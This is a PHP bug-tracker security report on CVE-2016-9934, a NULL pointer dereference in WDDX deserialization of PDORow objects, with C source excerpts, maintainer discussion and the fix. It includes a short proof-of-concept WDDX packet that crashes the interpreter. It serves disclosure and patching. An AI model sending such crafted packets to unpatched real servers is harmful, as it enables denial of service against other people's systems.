php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73331 NULL Pointer Dereference in WDDX Packet Deserialization with PDORow
Submitted: 2016-10-17 13:43 UTC Modified: 2016-12-13 11:51 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.6.27 OS:
Private report: No CVE-ID: 2016-9934
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-10-17 13:43 UTC] taoguangchen at icloud dot com
Description:
------------
wddx.c
```
						object_init_ex(obj, *pce);
```

The PDORow object will be created in during WDDX packet deserialization.

pdo_stmt.c
```
void pdo_stmt_init(TSRMLS_D)
{
	...
	pdo_row_ce->create_object = pdo_row_new;
...
zend_object_value pdo_row_new(zend_class_entry *ce TSRMLS_DC)
{
	zend_object_value retval;

	retval.handle = zend_objects_store_put(NULL, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t)pdo_row_free_storage, NULL TSRMLS_CC);
	retval.handlers = &pdo_row_object_handlers;

	return retval;
}
```

But the PDORow object isn’t initialized in the pdo_row_new.

wddx.c
```
						zend_hash_merge(Z_OBJPROP_P(obj),
										Z_ARRVAL_P(ent2->data),
										(void (*)(void *)) zval_add_ref,
										(void *) &tmp, sizeof(zval *), 0);
```

Then the `Z_OBJPROP_P` macro will call to the PDORow object's get_properties handler.

pdo_stmt.c
```
static HashTable *row_get_properties(zval *object TSRMLS_DC)
{
	pdo_stmt_t * stmt = (pdo_stmt_t *) zend_object_store_get_object(object TSRMLS_CC);
	int i;

	if (stmt == NULL) {
		return NULL;
	}
```

Thus the row_get_properties will return NULL, this result in NULL pointer dereference.

PoC:
```
<?php

$wddx = "<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>PDORow</string></var></struct></data></wddxPacket>";
var_dump(wddx_deserialize($wddx));

?>
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-17 19:48 UTC] stas@php.net
Hmm... not sure PDORow should even be serializable...
 [2016-10-24 01:43 UTC] stas@php.net
-Package: WDDX related +Package: PDO Core
 [2016-10-24 01:43 UTC] stas@php.net
It's actually PDO problem, not WDDX. PDORow should not be unserialized.
 [2016-10-24 01:50 UTC] stas@php.net
-Package: PDO Core +Package: WDDX related
 [2016-10-24 01:50 UTC] stas@php.net
Oops. spoke too soon. Looks like WDDX mishandles all objects which use serialize/unserialize.
 [2016-10-24 03:22 UTC] stas@php.net
The fix is in security repo as 6045de69c7dedcba3eadf7c4bba424b19c81d00d and in https://gist.github.com/4b193ba0da937e11710e620b83a1aca0

please verify
 [2016-10-24 03:24 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-25 01:43 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-11-16 04:01 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-11-16 04:01 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-12-13 11:51 UTC] kaplan@php.net
-CVE-ID: needed +CVE-ID: 2016-9934
 [2016-12-13 11:51 UTC] kaplan@php.net
Use CVE-2016-9934. The scope of this CVE is everything fixed by
6045de69c7dedcba3eadf7c4bba424b19c81d00d. We could not immediately
determine whether the new "pdo_row_ce->unserialize =
zend_class_unserialize_deny" line, by itself, could stand as an
independent fix for a subset of the problem.
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Thu Jan 30 20:01:29 2025 UTC